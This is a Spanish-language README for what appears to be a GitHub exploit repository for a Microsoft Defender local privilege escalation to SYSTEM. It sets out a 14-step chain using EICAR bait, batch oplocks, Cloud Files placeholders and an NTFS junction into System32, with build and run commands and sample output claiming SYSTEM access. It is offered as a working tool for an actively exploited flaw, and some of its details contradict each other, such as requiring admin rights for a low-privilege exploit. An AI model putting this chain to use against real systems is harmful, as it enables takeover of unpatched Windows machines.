CVE-2026-41091 RedSun | Exploit de LPE de Microsoft Defender. Los usuarios con bajos privilegios obtienen NT AUTHORITY\SYSTEM 🔥 mediante la API de Cloud Files + artimañas con junctions NTFS. Fuerza a Defender a escribir payloads maliciosos en System32 con derechos de SYSTEM. ⚠️ Explotado activamente en la naturaleza. CVSS 7.8. Parche: Motor de Defender 1.1.26040.8. 🛡️ Solo PoC educativo.
# CVE-2026-41091 - RedSun (SolarFlare) - Kit de herramientas de explotación LPE de Microsoft Defender
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > Aviso legal y uso responsable
**Esta herramienta se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.**
Los autores y colaboradores no se hacen responsables de ningún uso indebido o daño causado por este software. Los usuarios son los únicos responsables de asegurarse de contar con permiso escrito explícito del propietario del objetivo antes de realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal según las leyes federales, estatales e internacionales aplicables en materia de ciberdelincuencia.
Al utilizar este software, usted acepta:
- Utilizarlo únicamente en sistemas de su propiedad o para los que tenga permiso explícito de probar.
- Cumplir con todas las leyes locales, estatales y federales aplicables.
- No utilizarlo para ninguna actividad maliciosa, destructiva o ilegal.
> [!] **ADVERTENCIA:** Las vulnerabilidades de elevación de privilegios en Active Directory presentan un alto riesgo para la infraestructura empresarial. Las pruebas no autorizadas están estrictamente prohibidas.
> **Vulnerabilidad de seguimiento de enlaces de Microsoft Defender** - Escalada de privilegios local a NT AUTHORITY\SYSTEM
### La vulnerabilidad se conoce como "RedSun"; "SolarFlare" es el nombre que le di a mi exploit.
## [<] Descripción general
Este repositorio contiene un **exploit completo y funcional de Prueba de Concepto (PoC)** para **CVE-2026-41091**, una vulnerabilidad crítica de escalada de privilegios local en Microsoft Defender (Microsoft Malware Protection Engine). Al explotar una resolución de enlaces incorrecta (CWE-59), un atacante autenticado con bajos privilegios puede obtener privilegios de **NT AUTHORITY\SYSTEM**.
La vulnerabilidad, también conocida como **"RedSun"** o **"SolarFlare"**, permite a los atacantes engañar a Microsoft Defender para que escriba archivos arbitrarios en ubicaciones protegidas del sistema con privilegios de SYSTEM utilizando la API de Cloud Files (CfAPI) y puntos de unión NTFS.
> **Nota:** Este repositorio incluye dos versiones:
> - `basic_poc.cpp` - Demostración simplificada del algoritmo (educativa)
> - `full_poc.cpp` - Exploit completo y funcional con todas las características
### [-<] Características principales
| Categoría | Característica | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **Explotación** | Escalada de privilegios local a SYSTEM | `[+]` | `[+]` |
| | Integración de la API de Cloud Files (CfAPI) | `[-]` | `[+]` |
| | Creación de marcadores de posición en la nube | `[-]` | `[+]` |
| | Redirección mediante punto de unión NTFS | `[~]` | `[+]` |
| | Activación del servicio COM | `[-]` | `[+]` |
| **Técnicas** | Abuso de oplock por lotes | `[+]` | `[+]` |
| | Detección de instantáneas VSS | `[+]` | `[+]` |
| | Disparador EICAR | `[+]` | `[+]` |
| | Punto de reanálisis NTFS (punto de montaje) | `[+]` | `[+]` |
| | Disposición de archivos (NtSetInformationFile) | `[-]` | `[+]` |
| | Detección del ID de sesión mediante named pipe | `[-]` | `[+]` |
| | Inicio de sesión de consola (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | Verificación de SYSTEM | `[-]` | `[+]` |
| **Objetivo** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | Solo x64 | `[+]` | `[+]` |
| **Usabilidad** | Registro estructurado | `[~]` | `[+]` |
| | Manejo de errores | `[~]` | `[+]` |
| | Nombres de directorio aleatorios | `[+]` | `[+]` |
| | Limpieza automática | `[~]` | `[+]` |
| | Lógica de reintentos (NtCreateFile) | `[-]` | `[+]` |
## [i] Detalles de la vulnerabilidad
| Atributo | Valor |
|-----------|-------|
| **ID de CVE** | CVE-2026-41091 |
| **Puntuación CVSS** | 7.8 (Alta) |
| **Vector CVSS** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Vector de ataque** | Local |
| **Privilegios requeridos** | Bajos |
| **Interacción del usuario** | Ninguna |
| **Impacto** | Ejecución de código a nivel SYSTEM |
| **CISA KEV** | [+] Sí (explotada activamente en la naturaleza) |
| **Parche disponible** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] Productos afectados
| Producto | Versiones afectadas | Versiones corregidas |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] Cadena de explotación
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] Instalación
### Requisitos previos
- Windows 10/11 o Windows Server 2019/2022
- Visual Studio 2019/2022 con herramientas de C++
- Privilegios administrativos (para la ejecución)
### Compilación
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] Uso
### Exploit completo (escalada de privilegios a SYSTEM)
```bash
full_poc.exe
```
### Demostración básica del algoritmo
```bash
basic_poc.exe
```
## [i] Ejemplo de salida
### Salida completa del exploit
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### Salida básica del PoC
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] Instrucciones de compilación
### Uso de Visual Studio
1. Abra el Símbolo del sistema para desarrolladores de VS 2022
2. Navegue hasta el directorio del exploit
3. Ejecute:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### Uso de CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] Requisitos y limitaciones
| Requisito | Detalles |
|-------------|---------|
| **SO** | Windows 10/11, Server 2019/2022 |
| **Privilegios** | Administrativos (para la ejecución) |
| **Defender** | Microsoft Defender debe estar habilitado |
| **Internet** | Necesario para la detección de instantáneas VSS |
| **Parche** | Solo funciona en sistemas sin parchear |
| **Arquitectura** | Solo x64 |
## Exploits relacionados
Consulta mis otros repositorios de exploits:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - Omisión de autenticación en GNU inetutils-telnetd
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - Exploit de omisión de autenticación en cPanel/WHM
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Omisión de autenticación en la depuración inalámbrica ADB de Android